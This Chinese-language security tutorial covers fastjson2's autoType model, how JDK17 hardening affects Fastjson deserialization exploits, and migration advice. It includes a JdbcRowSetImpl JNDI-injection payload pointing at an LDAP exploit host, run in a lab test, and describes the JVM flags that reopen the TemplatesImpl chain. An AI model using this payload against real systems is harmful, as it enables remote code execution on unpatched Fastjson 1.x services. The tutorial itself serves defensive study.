Fastjson 漏洞 · 05 · Fastjson2 与现代利用面

发布时间:2026/10/3 13:03:43
Fastjson 漏洞 · 05 · Fastjson2 与现代利用面
引子2026 年Fastjson 漏洞还活着吗先破除一个常见误解有人会以为漏洞都修到 1.2.83 了Fastjson 的事是不是过时了。现实是新项目基本不再用 1.x主流是 fastjson2 或 Jackson但存量系统里 1.x 铺得极广很多内网、政企、工业系统还停在老版本扫描器、护网、渗透中的 Fastjson 漏洞面至今活跃同时com.alibaba:fastjson:2.0.x这个看起来是升级版的坐标其实是fastjson1-compatible 兼容桥接包很多人没意识到它背后是 fastjson2、也没意识到依赖还要补全。也就是说Fastjson 漏洞的价值不在新而在存量面大 设计模型值得学。而且它代表的JSON 多态反序列化是一整类问题Jackson 的enableDefaultTyping、XML 的 XStream/XMLDecoder、YAML 的 SnakeYAML 都出过同源漏洞。学会一个等于掌握一类。本篇讲清三件事fastjson2 的安全模型为什么不同、现代 JDK 改变了什么、还有哪些残留风险。所有结论都在靶场用 fastjson2 2.0.65 实测过。本篇要点为什么 fastjson2 默认解析type时只是返回一个普通JSONObject打开SupportAutoType为什么还不够还缺什么com.alibaba:fastjson:2.0.x与com.alibaba.fastjson2:fastjson2是什么关系迁移要注意什么现代 JDK 从 JNDI 与模块封装两个方向如何抬高门槛为什么仍不是根治为什么说这是一类多态反序列化通病而不是 Fastjson 独有一、先说清楚现代到底指什么很多网上教程停在1.2.24 一打一个准容易对今天的现实产生误判。2026 年的真实情况是新项目基本不该再用com.alibaba:fastjson:1.2.x主流是fastjson2com.alibaba.fastjson2:fastjson2或 Jackson存量系统里 1.x 仍大量存在所以这些 CVE 至今仍在被扫描、利用——漏洞的价值不在新而在存量面大现代 JDK17/21的强封装、JNDI 默认加固让照搬老 payload 就能打的情况大幅减少但误配置会重新打开。二、fastjson2换了安全模型Fastjson2 是一次重写官方明确不再为了兼容 1.x 而保留 autoType 白名单。它的默认行为是解析 JSON 时type不会被用来实例化任意类即便显式打开JSONReader.Feature.SupportAutoType也还需要注册/采用白名单才真正允许自动类型默认的 autoType handler 会拒绝。Java 说明JSONReader.Feature.SupportAutoTypefastjson2 的一个特性枚举常量作为参数传给解析方法表示允许 autoType。JSON.parseObject(...)/JSON.parse(...)与 1.x 同名但 fastjson2 中type默认只当普通字段处理不会据此实例化类。真正启用多态反序列化还需要显式注册允许的类型白名单这与 1.x开关一开就全放行有本质区别。靶场实测fastjson2 2.0.65用最小的 fastjson2 程序tools/Fastjson2Test.java解析同一个JdbcRowSetImplpayload/opt/jdk8/bin/java -cp lib/fastjson2-2.0.65.jar:tools Fastjson2Test \ # 用 fastjson2 运行对照程序classpathfastjson2 核心 已编译的 tools {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} # 待解析的 payload真实输出default parseObject - {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:....,autoCommit:true} SupportAutoType - {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:....,autoCommit:true} JSON.parse - {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:....,autoCommit:true} JNDI 回调次数: 0调用方式返回JNDI 回调JSON.parseObject(payload)默认普通JSONObject原样保留type0JSON.parseObject(payload, SupportAutoType)普通JSONObject0JSON.parse(payload)普通JSONObject0读法返回值是一个普通JSONObject原样保留type字段根本没有实例化JdbcRowSetImpl也没有任何 JNDI 回调。这说明fastjson2 默认把type当普通字段处理而不是要加载的类。要让它真的多态反序列化必须显式注册允许的类。1.x 也想平滑迁移怎么办阿里提供了com.alibaba:fastjson:2.0.x这个 artifact注意 groupId 还是com.alibaba它其实是fastjson1-compatible 兼容层内部转发到 fastjson2可在不改坐标的前提下完成升级。使用时需要连同com.alibaba.fastjson2:fastjson2一起放入 classpath兼容层是薄壳不自带核心。靶场里尝试时若只放兼容层、不放fastjson2会报NoClassDefFoundError——这说明升级不是换个版本号要确认依赖树完整。三、JDK17 改变了什么现代 JDK 从两个方向抬高了门槛但都不是根治1. JNDI 远程类加载默认关闭上一篇已实测trustURLCodebase默认false时JNDI 远程加载被拦显式开启后JDK8 和 JDK17 都能重新被打JDK8 trustURLCodebase默认 - 被拦截 开启 - 远程类加载执行 JDK17 trustURLCodebase默认 - 被拦截 开启 - 远程类加载执行所以升级 JDK是缓解不是修复只要业务/中间件为了兼容加了那个参数风险就回来。2. 强封装JPMS影响反射改私有字段的链像TemplatesImpl这种需要 Fastjson 用反射去写私有字段的链在 JDK17 上会撞上模块边界需要 Fastjson 开启Feature.SupportNonPublicField还需要 JVM 参数--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.traxALL-UNNAMED之类把对应包开个口子。靶场里的start.sh在 JDK17 模式就带了这些--add-opens否则TemplatesImpl链会因InaccessibleObjectException失败。真实系统中除非运维特意加了这些参数否则这类链在 JDK17 上更难走通。一句话JDK 升级 默认加固让老 payload 直接打变难但误配置 依赖型 gadget仍能打。安全的前提是别指望单一措施。四、现代仍然存在的风险点即便上了 fastjson2以下情况依然危险值得单独警惕显式打开 autoType 并配了宽松白名单为了兼容老功能有人会SupportAutoType 注册大量包前缀。白名单一旦过宽如com.、java.等于没防。仍在使用 1.x 且开了 autoType靶场矩阵显示1.2.24 直接打、1.2.25~1.2.47 多种绕过只要autoTypeSupporttrue风险显著上升。同类问题的其他库Jackson 的enableDefaultTyping/JsonTypeInfo也支持多态反序列化历史上同样出过 RCEJackson 的 CVE 系列。问题不是Fastjson 特有而是JSON 多态反序列化这一类设计。反序列化其他格式Java 原生序列化、XMLXStream/XMLDecoder、YAMLSnakeYAML等都可能被同类 gadget 打穿。学 Fastjson 的价值在于理解通用反序列化攻击模型。五、迁移与加固建议新项目用 fastjson2 或 Jackson并关闭多态/autoType老项目1.2.83或 fastjson2 兼容层无法升级则开safeMode若必须用多态用最小白名单精确到类不要用宽泛包前缀全链路不信任任何输入里的类名日志/告警里出现type 陌生类名就查。六、自测fastjson2 默认解析带type的 JSON 时为什么会返回一个普通JSONObject而不是报错SupportAutoType打开了为什么靶场里还是没有触发还缺什么com.alibaba:fastjson:2.0.x和com.alibaba.fastjson2:fastjson2是什么关系升级时要注意什么为什么升级 JDK只能缓解不能根治请分别从 JNDI 与反射封装两个角度回答。为什么说 Fastjson 漏洞的本质是JSON 多态反序列化这一类问题而不是某个库的孤立毛病